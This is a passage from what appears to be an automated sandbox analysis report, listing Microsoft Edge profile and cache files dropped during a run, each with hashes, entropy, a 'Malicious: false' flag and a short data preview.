SSDEEP:	12:biUXhV0xosU8xCe+JKlkQuMRxCb8ZXfgYJ0IJpP0KLsyW1L7Fx6:bFRqxosU8xWMk8xVZ4YWI30otWn
MD5:	CFAB81B800EDABACBF6CB61AA78D5258
SHA1:	2730D4DA1BE7238D701DC84EB708A064B8D1CF27
SHA-256:	452A5479B9A2E03612576C30D30E6F51F51274CD30EF576EA1E71D20C657376F
SHA-512:	EC188B0EE4D3DAABC26799B34EE471BEE988BDD7CEB011ED7DF3D4CF26F98932BBBB4B70DC2B7FD4DF9A3981B3CE22F4B5BE4A0DB97514D526E521575EFB2EC6
Malicious:	false
Preview:	...@.@...@..............@...................................`... ...i.y.........CrashpadMetrics.....i.y..Yd.h.......A.......e............,.........W.......................W....................Microsoft.UMA.PersistentAllocator.CrashpadMetrics.UsedPct.......h...i.y.[".................................!...&...+...0...6...;...@...E...K...P...U...Z...`...e...........i.y..Yd.........A............................E.[4.f..................E.[4.f.................Microsoft.UMA.PersistentAllocator.CrashpadMetrics.Errors............i.y..Yd.........A..................._..-`....h-.....................h-....................Crashpad.HandlerLifetimeMilestone.......0...i.y.[".........................................i.y..Yd.@.......C...........................VM....],................WM....],................Stability.BrowserExitCodes...... ...i.y......VM....],........H...i.y.1U!S............................................................ ...i.y...0...WM....],........................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.051141892342046
Encrypted:	false
SSDEEP:	3:FiWWltl/9UgBVP/Sh/JzvLi2RRIxINXj12tll:o1//BVsJDG2YqCX
MD5:	0E7D6A6182C1D335B1771C6875526753
SHA1:	FC33DB69F45C332345E79DE7648A9E8D8C026507
SHA-256:	F5F0335CD18CDFF2B6DEAA942B958D7F5A2948CADE4D1FAAFDC3C7264F652E29
SHA-512:	A88DE7AF4DA2575F1A6FEC2E553E0498DB3ED9AEC0AFBE9DC7BF2853F799E9B83FC17837BB6BAFA21528D4CB654F61EFD53A232AC3C11EC71F241809B800EB5F
Malicious:	false
Preview:	sdPC......................5.y&.K.?....................................................................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................48ea0ba2-e9bb-4568-92cb-0f42a5c5d505............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2698fc5c-146f-4ab3-afc2-5bc6b67a6808.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7936
Entropy (8bit):	4.923384740649932
Encrypted:	false
SSDEEP:	96:sV8tqlMeJ1E8b9Nv65lNY2wedY5Th6Cp9/x+6M8muecmAeCRUe4zvr/S2X6gE5Ak:sV8tbeJmmAlNY2wAYPpj+FVA3I/SFBf
MD5:	D7628BEC4BF0AEC294D204843048008A
SHA1:	ED982319CD4614A4598DA01B0CF0F27DFA84A8FA
SHA-256:	81D96347A29920B3CFEC5811083B85DC7D936EDF34EB27FA66FEFD6948732353
SHA-512:	E2A7C910518EE225C7F666E2A4214540E0C36B6F56DF7A0C886E9D9B9FEC5253B4DEB434C03291911ECBEA65261B947CB63D81C7A042B6657DF80E4D0E1DE187
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13379780575661651","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","5826"],"daily_received_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\30ccfcc0-46ef-41d7-b75e-8487a09d543e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7998
Entropy (8bit):	4.924903416274159
Encrypted:	false
SSDEEP:	96:sV8tqlMeJ1E8b9Nv65lNY2wedY5Th6Cp9/x+6M8muecmAeCxUe4zvr/S2X6gE5Ak:sV8tbeJmmAlNY2wAYPpj+FVAbI/SFBf
MD5:	556B49DEB24DEDDDEFBC2222E7E13D8A
SHA1:	9426CB57C79E409FD9D1E8F2EB80DC0A1537757C
SHA-256:	D6774B62441D210861D4867817DDD0AF59C6B6D044CFB087CD5E3F772A0B41E8
SHA-512:	8B22932561B1287F473939B39702E4C5D34D14CE68A05197BC8E1DE1CAD4A66C8961312D86C6A1BF0665B6B14B822C2A2B9BA3FF04C9202B9878F36FABDDA030
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13379780575661651","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","5826"],"daily_received_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\452784bd-89b9-4f58-a6a3-d19caff0ae81.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26856
Entropy (8bit):	5.577036243386334
Encrypted:	false
SSDEEP:	768:8w8p60WP3bfeI8F1+UoAYDCx9Tuqh0VfUC9xbog/OVSWJzcgxrwlp3tu+:8w8p60WP3bfeIu1janWJ4gCTt5
MD5:	7E5D18E25DCFE1B3344BB4F2D765E379
SHA1:	0AEB6DAF8FE9329F45BB40BB8A64DE52ED709F9B
SHA-256:	D6DAA5AEB618E2E60E35D6352BF3DC95695F306DE6810A6AC083482AD18AB2B3
SHA-512:	DE4CDC52448CF8CBA0F104E6B612D5E3EEB65338E41A2C2F74CAAA68C38DA973E28FC6596776E6999AC6840F2944A9322616101A2BF0A17C26CAA94548BB3CDC
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379780575022321","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379780575022321","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4986ff3e-ba27-4e8b-b65f-34b1cc8dfe4a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\49f555a9-0f39-441a-848e-0561d90da0ce.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\689482ef-32fe-44cf-b147-ee085b0e2b61.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25013
Entropy (8bit):	5.5682845586504905
Encrypted:	false
SSDEEP:	768:8w8p60WP3bfeI8F1+UoAYDCx9Tuqh0VfUC9xbog/OVezcgxrwPp3tuq:8w8p60WP3bfeIu1jar4gCVtx
MD5:	E8FF27D70D39226A98535BDE33352656
SHA1:	D714800CA758E6DB037A95DC69785C468539254A
SHA-256:	17577F2FCA6C62351E0309C1A88D74DBE3D067CD2BF87ECF85E8FA81370C085F
SHA-512:	430394CBD40952FA3187D86ABC673720D60D87A11254663BD216249BB6CF1C5F02267EACC1D8631C83FC7725107C5860C28B1B1C4DC580645FAC92EEA5790BB0
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379780575022321","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379780575022321","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\77990547-3809-4669-a36b-31ebf55d1ea9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9261
Entropy (8bit):	5.184946566889279
Encrypted:	false
SSDEEP:	192:sV8tbeJmmAlPr6UQ5MEAY2wsYPpj+FVA8I/SFBf:sV8tbeJmmAY6E+IpUVJI/a
MD5:	6B2C1A0018E1E642598744A7D6C1AEF2
SHA1:	F4899B31EC0240860C961E70A138B928D2DD8EC2
SHA-256:	5607A3CDF4CD5EA4400EDE6A27A9DC4735C7C44D6C32DF032DA9148B973A208F
SHA-512:	73116AFF6555CE4A1903D0A54AF9C63FC26D1E3DF9DE9E77A6C9EC80EF19655A5D55349DA72AE3F10E8294151BD4AB1ACFC3D95A25B4CDBF49EBAB5DD723EA9B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13379780575661651","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","5826"],"daily_received_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\784b9770-d761-49ef-82a2-345b75dacfea.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7727
Entropy (8bit):	4.912703417258029
Encrypted:	false
SSDEEP:	96:sV85qlMeJ1E8b9Nv65lNY2wedY5Th6Cp9/x+6M8muecmAeCRUe4zvr/S2X6gS5Ak:sV85beJmmAlNY2wAYPpj+FVA3I/SFJf
MD5:	08430C1D82FF0CB8D26F1E26A563D3F1
SHA1:	0E439808B7859C08C157B802B8FE66AF247ECB6C
SHA-256:	6892514D7FA6CA4041D800F32008A58F45D520BAEE27F271899792F5F753DE35
SHA-512:	D86D0ECA96C0FD81BC10CFAF4726C4B4ADD868FB78C5F99BAA5CDC872F1A3326B1208E40C5CCB38A4D76387A3658619BA585357BF020C301ED143C73BE3E416D
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13379780575661651","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","5826"],"daily_received_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","5826"],"last_update_date":"133407612

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\83259d9f-d13f-42d0-8007-463b264e4239.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.566260375454239
Encrypted:	false
SSDEEP:	768:8w8pX0WP3bfpI8F1+UoAYDCx9Tuqh0VfUC9xbog/OVezcgxrwWp3tu6:8w8pX0WP3bfpIu1jar4gCat5
MD5:	74FFE08DD7F95491FF1D0A5FA0C0DFE8
SHA1:	CCDF9EDDEF01E0B64EFD7772E1163CF0B3817137
SHA-256:	17156CD096AC83F0FE060F3D991D920A09B201358E1D458CCF718950CEA84ED3
SHA-512:	3A1AD170C99653D7BDA88C9A3D1C9B755762F84C4665AC017FA6029B7F5BD5BE335E67C23B1820145DB8F85C72AABABF1C6A19254377774800D6DB5F30221BBF
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379780575022321","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379780575022321","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\83a471ea-2452-4802-83a8-fc3db097404e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8640
Entropy (8bit):	5.075060926201222
Encrypted:	false
SSDEEP:	192:sV8tbeJmmAln5MEAY2wsYPpj+FVAbI/SFBf:sV8tbeJmmAn6E+IpUVSI/a
MD5:	FE4FF8E68364926A7E032C654FC4EBC2
SHA1:	C7C10D3AA6061DBF82FC6D144D6EF76FB8444D9A
SHA-256:	CD417C5309DF1A9A9B934461612D33A578CEFABBF3CF4B845A0B0C066C6D6CA6
SHA-512:	0BBB2BA97AF6BC9DE2F11787BA6AEBE388F578AA058A649CBBEF36CD444DD5EC135228374FEDAB5B4D4B39DA02E41A81BEAC2580E15A1FCB1D2957A91F8F2C6F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13379780575661651","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","5826"],"daily_received_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	12600
Entropy (8bit):	5.320739995454056
Encrypted:	false
SSDEEP:	192:37AOEH/WCxkD7MDPSYAxmemxb7mngJdv9TXJ4MQmLu5/4eeNdl:3EOEOKSXs/J7mGnQmLu5/5eNdl
MD5:	EF10B0DEFD14FEDA254D201B7311AAF5
SHA1:	80B1AD0C47D89FB98306CECD23D59E133E698C1B
SHA-256:	D98AF7162B718808D0DE3E44A2C2006055B96737AA1414681C39D2CCA6430BE2
SHA-512:	41860260AB9D0F9BBE4260159BC7F85E64206767A9A7955136D62B7D2A43CC940A932EBDF42F3453608FEDC651D379336E4116F1D0A5FFC05D07DF5292952E3D
Malicious:	false
Preview:	...m.................DB_VERSION.1...H.................QUERY_TIMESTAMP:arbitration_priority_list4...13379780589907276.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"2DPW9BV28WrPpgGHdKsEvldNQvD7dA0AAxPa3B/lKN0=","size":11989}]..A./..............'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.]{.. "configVersion": 32,.. "PrivilegedExperiences": [.. "ShorelinePrivilegedExperienceID",.. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",.. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",.. "SHOPPING_AUTO_SHOW_BING_SEARCH",.. "SHOPPING_AUTO_SHOW_REBATES",.. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",.. "SHOPPING_AUTO_SHOW_REBATES_DEACTIVATED",.. "SHOPPING_AUTO_SHOW_REBATES_BING",.. "SHOPPING_AUTO_SHOW_REBATES_ORGANIC",.. "SHOPPING_AUTO_SHOW_PRICE_HIST

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	293
Entropy (8bit):	5.114506784183907
Encrypted:	false
SSDEEP:	6:ibeun1wkn23oH+Tcwt9Eh1ZB2KLlg/AQ+q2Pwkn23oH+Tcwt9Eh1tIFUv:iCumfYeb9Eh1ZFLa/AVvYfYeb9Eh16F2
MD5:	CCEA96D3AEDFB9B9BE813AF653552637
SHA1:	EB87FFF6DEBAE256F8F27BC12971CB02D316978E
SHA-256:	DE907A106707B0CC740019D98499202EB0DD282FD33F953F3D7CEF8ADB76F5D0
SHA-512:	B7473ABE448CDEFFFE91A1865C71D27F4D000A2BEAE2F807EA839BCEB02B8D1BBC4843463D44F11B9C1853AB2F249FED4D557595943880CF2A64D85C0BD55401
Malicious:	false
Preview:	2024/12/27-08:43:07.089 1fb8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db since it was missing..2024/12/27-08:43:07.108 1fb8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AssistanceHome\AssistanceHomeSQLite

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.3202460253800455
Encrypted:	false
SSDEEP:	6:l9bNFlEuWk8TRH9MRumWEyE4gLueXdNOmWxFxCxmWxYgCxmW5y/mWz4ynLAtD/W4:TLiuWkMORuHEyESeXdwDQ3SOAtD/ie
MD5:	40B18EC43DB334E7B3F6295C7626F28D
SHA1:	0E46584B0E0A9703C6B2EC1D246F41E63AF2296F
SHA-256:	85E961767239E90A361FB6AA0A3FD9DAA57CAAF9E30599BB70124F1954B751C8
SHA-512:	8BDACDC4A9559E4273AD01407D5D411035EECD927385A51172F401558444AD29B5AD2DC5562D1101244665EBE86BBDDE072E75ECA050B051482005EB6A52CDBD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlF7JBK/l:Ls3BJBu
MD5:	5A6D3856F74B3D8330DB57384DCBBBCF
SHA1:	55DEBF064B9C74C9EA0C9E4A8CBF889F689B8C59
SHA-256:	4F69AEDEB5EFB39BC81B8F2A387C684C61DAAAF6DFE85D3FB1C6E026C5FA9C24
